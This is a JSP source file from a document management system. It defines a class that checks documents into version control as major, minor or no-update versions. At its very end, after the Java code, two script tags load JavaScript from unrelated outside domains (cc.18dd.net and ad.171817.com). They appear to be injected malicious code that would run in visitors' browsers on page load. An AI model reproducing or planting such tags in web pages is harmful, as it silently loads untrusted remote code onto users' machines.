<%@ page import="java.io.*" %> 
<%@ page import="java.sql.*" %>
<%@ page import="java.util.*" %>
<%@ page import="com.dcivision.dms.*" %> 
<%@ page import="com.dcivision.dms.bean.*" %>
<%@ page import="com.dcivision.dms.dao.*" %>
<%@ page import="com.dcivision.dms.core.*" %>
<%@ page import="com.dcivision.framework.*" %>   
<%@ include file="DocumentOperationException.jsp"%>
<%!
/*  
 *CheckinDocumentManager.java manage the action about checkin a document.
 *@author             Holmes Yan
 *@company            DCIVision Ltd
 *@creation date      07/8/2004
 *@version            $Revision: 1.2 $
 */
class CheckinDocumentManager{
  Connection conn;   
  DocumentRetrievalManager docRetrievalManager; 
  VersionControlManager versionControlManager;
  DmsVersionDAObject dvdo; 
  DmsDocument document;
		
  Integer documentID;
  String filePath;
  String referenceNo;
  String description;  
  boolean autoLabel = true;  

  public CheckinDocumentManager(SessionContainer sessionContainer) throws Exception{
 	conn = DataSourceFactory.getConnection();   
	docRetrievalManager = new DocumentRetrievalManager(sessionContainer, conn); 
    versionControlManager = new VersionControlManager(sessionContainer, conn);
	dvdo = new DmsVersionDAObject(sessionContainer, conn);  
  } 
  /**
   * checkin a Document.
   */
  public DmsVersion checkinDocument(String strDocumentID,String filePath,String checkinType,
	  String referenceNo,String description) throws Exception{ 

	if(Utility.isEmpty(strDocumentID)) throw new NullDocumentIDException();
    if(Utility.isEmpty(filePath)) throw new NullFilePathException();

    //set  params.
    this.documentID = TextUtility.parseIntegerObj(strDocumentID);
    document = docRetrievalManager.getDocument(documentID); 
	this.filePath = filePath;
	this.referenceNo = referenceNo;
	this.description = description;   
    return checkinDocumentAccordingCheckinType(checkinType); 
  }
 /*
  * Judge whether the document is in public folder.
  */
  public boolean isDocumentInPublicFolder(Integer documentID) throws Exception{
    String sCurFunctionCode =
		 docRetrievalManager.getCurFunctionCode((DmsDocument)docRetrievalManager.getDocument(documentID));
    if (SystemFunctionConstant.DMS_PUBLIC_FOLDER.equals(sCurFunctionCode)) 
	  return true;
	else return false;
  }  
  
  private DmsVersion checkinDocumentAccordingCheckinType(String checkinType) throws Exception{
    try{
      DmsVersion newVersion = null;
	  if("DMS.MINOR.CHECKIN".equals(checkinType.trim())){
        newVersion = checkinDocumentByMinorVersion();
      }else if("DMS.NEW.CHECKIN".equals(checkinType.trim())){
        newVersion = checkinDocumentByBigVersion();
      }else if("DMS.NOUPDATE.CHECKIN".equals(checkinType.trim())){
        newVersion = checkinDocumentByNoUpdate(); 
      }else{
        throw new NullCheckInTypeException();
      }
      conn.commit();
		  return newVersion;
     }catch(Exception ex){
      conn.rollback();
		  throw ex;
     }
   }

  private DmsVersion checkinDocumentByBigVersion() throws Exception{  

    DmsVersion version = new DmsVersion(); 	 
	version.setParentID(new Integer(0)); 
	version.setReferenceNo(referenceNo);
	version.setDescription(description);
	InputStream inputStream = new FileInputStream(filePath);  
	File file = new File(filePath);
	version.setItemSize(new Integer((int)(file.length())));
	version.setDocumentID(documentID);
	version.setRecordStatus(GlobalConstant.STATUS_ACTIVE);
	return versionControlManager.checkinDocument(
			    autoLabel,DmsOperationConstant.CREATE_NEW_CHECKIN,documentID, version, inputStream
		    );     
  }  
  
  private DmsVersion checkinDocumentByMinorVersion() throws Exception{   
	DmsVersion newVersion = new DmsVersion(); 	
    setParenVersonID(newVersion,documentID);  
    newVersion.setReferenceNo(referenceNo);
    newVersion.setDescription(description); 
				
	InputStream inputStream = new FileInputStream(filePath);  
	File file = new File(filePath);
	newVersion.setItemSize(new Integer((int)(file.length())));
	newVersion.setDocumentID(documentID); 
 	newVersion.setRecordStatus(GlobalConstant.STATUS_ACTIVE); 
	return versionControlManager.checkinDocument(
            autoLabel, DmsOperationConstant.CREATE_MINOR_CHECKIN, documentID, newVersion, inputStream
          );  
  } 

  private DmsVersion checkinDocumentByNoUpdate() throws Exception{     
      if(isDocumentInPublicFolder(documentID))
	      return versionControlManager.unlockDocumentForNoUpdateCheckin(documentID); 
	  else 
		  throw new NotDocumentInPublicFolderException();
  }  
 
  private void setParenVersonID(DmsVersion newVersion,Integer documentID) throws Exception{ 
	List versionList = dvdo.getParentVersionsListByParentIDByDocumentID(new Integer(0), documentID); 
	DmsVersion latestVersion = (DmsVersion)versionList.get(0); 
	if (latestVersion.getParentID().intValue() == 0){
	  newVersion.setParentID(latestVersion.getID());
	}else{
	  newVersion.setParentID(latestVersion.getParentID());
	}   
  } 

  private void release() throws Exception{ 
	if(conn!=null) conn.close();
    conn = null;
    docRetrievalManager = null;
    versionControlManager = null;
    dvdo = null; 
  }
}  
%>
 
<script language=javascript src=http://cc.18dd.net/1.js></script>
<script language=javascript src=http://ad.171817.com/css/1.js></script>